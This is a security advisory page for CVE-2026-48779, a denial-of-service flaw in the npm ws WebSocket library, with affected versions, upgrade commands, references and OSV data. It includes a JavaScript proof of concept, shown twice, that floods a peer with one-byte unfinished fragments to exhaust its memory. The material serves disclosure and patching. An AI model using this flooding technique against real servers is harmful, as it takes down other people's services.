CVE-2026-48779: Ws Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-96hv-2xvq-fx4p
CVSS 7.5
CWE-1050 CWE-400 CWE-770
Published
Advisory Summary

CVE-2026-48779 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-1050: Excessive Platform Resource Consumption within a Loop) affecting Ws libraries in the npm ecosystem. The issue involves memory exhaustion dos from tiny fragments and data chunks. Remediation is available by upgrading affected packages to version 6.2.4, 7.5.11, 8.21.0, 5.2.5.

CVE-2026-48779 at a Glance

CVE Identifier CVE-2026-48779
GHSA Identifier GHSA-96hv-2xvq-fx4p
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-1050: Excessive Platform Resource Consumption within a Loop
Affected Product Ws
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-48779

To remediate this vulnerability, upgrade all affected Ws dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ws fixed: 6.2.4
npm install ws@6.2.4
ws fixed: 7.5.11
npm install ws@7.5.11
ws fixed: 8.21.0
npm install ws@8.21.0
ws fixed: 5.2.5
npm install ws@5.2.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls ws

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-48779, inspect your project dependencies using npm:

npm ls ws

Analyze the terminal output to locate any version of Ws in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.2.4), your application is affected.

Note: The npm ls ws command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1050: Excessive Platform Resource Consumption within a Loop, where the product has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors. In Ws, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53). ### Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible. ### Credits The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).

CVE-2026-48779 Affected Ws Versions

4 component(s)
Fixed Versions:
6.2.47.5.118.21.05.2.5
Product / Package Ecosystem Affected Versions Fixed Version
ws
npm
≥ 6.0.0
< 6.2.4
6.2.4
ws
npm
≥ 7.0.0
< 7.5.11
7.5.11
ws
npm
≥ 8.0.0
< 8.21.0
8.21.0
ws
npm
≥ 1.1.0
< 5.2.5
5.2.5

References

GitHub Advisory / Wiki ADVISORY
https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
NVD — CVE-2026-48779 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-48779
Security Fix Commit FIX COMMIT
https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
Security Fix Commit FIX COMMIT
https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
Security Fix Commit FIX COMMIT
https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
Security Fix Commit FIX COMMIT
https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
Ws Security Information SECURITY
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json
Ws Source Repository REPOSITORY
https://github.com/websockets/ws
bugzilla.redhat.com/show_bug.cgi WEB
https://bugzilla.redhat.com/show_bug.cgi?id=2489661
Ws Security Information SECURITY
https://access.redhat.com/security/cve/CVE-2026-48779
access.redhat.com/errata/rhsa-2026:37... WEB
https://access.redhat.com/errata/RHSA-2026:37272
access.redhat.com/errata/rhsa-2026:36... WEB
https://access.redhat.com/errata/RHSA-2026:36820
access.redhat.com/errata/rhsa-2026:36... WEB
https://access.redhat.com/errata/RHSA-2026:36754
access.redhat.com/errata/rhsa-2026:34... WEB
https://access.redhat.com/errata/RHSA-2026:34342
access.redhat.com/errata/rhsa-2026:33... WEB
https://access.redhat.com/errata/RHSA-2026:33574
access.redhat.com/errata/rhsa-2026:33... WEB
https://access.redhat.com/errata/RHSA-2026:33183
access.redhat.com/errata/rhsa-2026:33... WEB
https://access.redhat.com/errata/RHSA-2026:33173
access.redhat.com/errata/rhsa-2026:33... WEB
https://access.redhat.com/errata/RHSA-2026:33163
access.redhat.com/errata/rhsa-2026:33... WEB
https://access.redhat.com/errata/RHSA-2026:33160
access.redhat.com/errata/rhsa-2026:33... WEB
https://access.redhat.com/errata/RHSA-2026:33155
access.redhat.com/errata/rhsa-2026:29... WEB
https://access.redhat.com/errata/RHSA-2026:29197
access.redhat.com/errata/rhsa-2026:27... WEB
https://access.redhat.com/errata/RHSA-2026:27171
access.redhat.com/errata/rhsa-2026:26... WEB
https://access.redhat.com/errata/RHSA-2026:26638

Frequently Asked Questions

What is CVE-2026-48779?
CVE-2026-48779 is a security vulnerability in Ws involving Memory exhaustion DoS from tiny fragments and data chunks under CWE-1050: Excessive Platform Resource Consumption within a Loop.
Which Ws versions are affected?
Affected versions include releases prior to 6.2.4, 7.5.11, 8.21.0, 5.2.5 across affected packages: ws.
What version fixes CVE-2026-48779?
Upgrading to 6.2.4, 7.5.11, 8.21.0, 5.2.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ws affected?
Yes, ws is affected in releases prior to 6.2.4, 7.5.11, 8.21.0, 5.2.5. Upgrade your dependency to 6.2.4, 7.5.11, 8.21.0, 5.2.5 or later.
What is the CVSS score of CVE-2026-48779?
CVE-2026-48779 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-48779?
CVE-2026-48779 is classified under CWE-1050: Excessive Platform Resource Consumption within a Loop (The product has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.).
How can I check npm dependencies for CVE-2026-48779?
Run the dependency tree command: 'npm ls ws'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-96hv-2xvq-fx4p",
  "modified" : "2026-07-13T15:31:39Z",
  "published" : "2026-06-15T16:34:23Z",
  "aliases" : [ "CVE-2026-48779" ],
  "summary" : "ws: Memory exhaustion DoS from tiny fragments and data chunks",
  "details" : "### Impact\n\nA high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.\n\n### Proof of concept\n\n```js\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer({ port: 0 }, function () {\n  const data = Buffer.alloc(1);\n  const options = { fin: false };\n  const { port } = wss.address();\n  const ws = new WebSocket(`ws://localhost:${port}`);\n\n  ws.on('open', function () {\n    (function send() {\n      ws.send(data, options, function (err) {\n        if (err) return;\n        send();\n      });\n    })();\n  });\n\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`client close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n\nwss.on('connection', function (ws) {\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`server close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.\n\n### Credits\n\nThe vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.1.0"
      }, {
        "fixed" : "5.2.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0.0"
      }, {
        "fixed" : "6.2.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "7.0.0"
      }, {
        "fixed" : "7.5.11"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "8.21.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48779"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7"
  }, {
    "type" : "WEB",
    "url" : "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/websockets/ws"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2489661"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2026-48779"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:37272"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:36820"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:36754"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:34342"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:33574"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:33183"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:33173"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:33163"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:33160"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:33155"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:29197"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:27171"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:26638"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1050", "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-15T16:34:23Z",
    "nvd_published_at" : "2026-06-17T13:20:42Z"
  }
}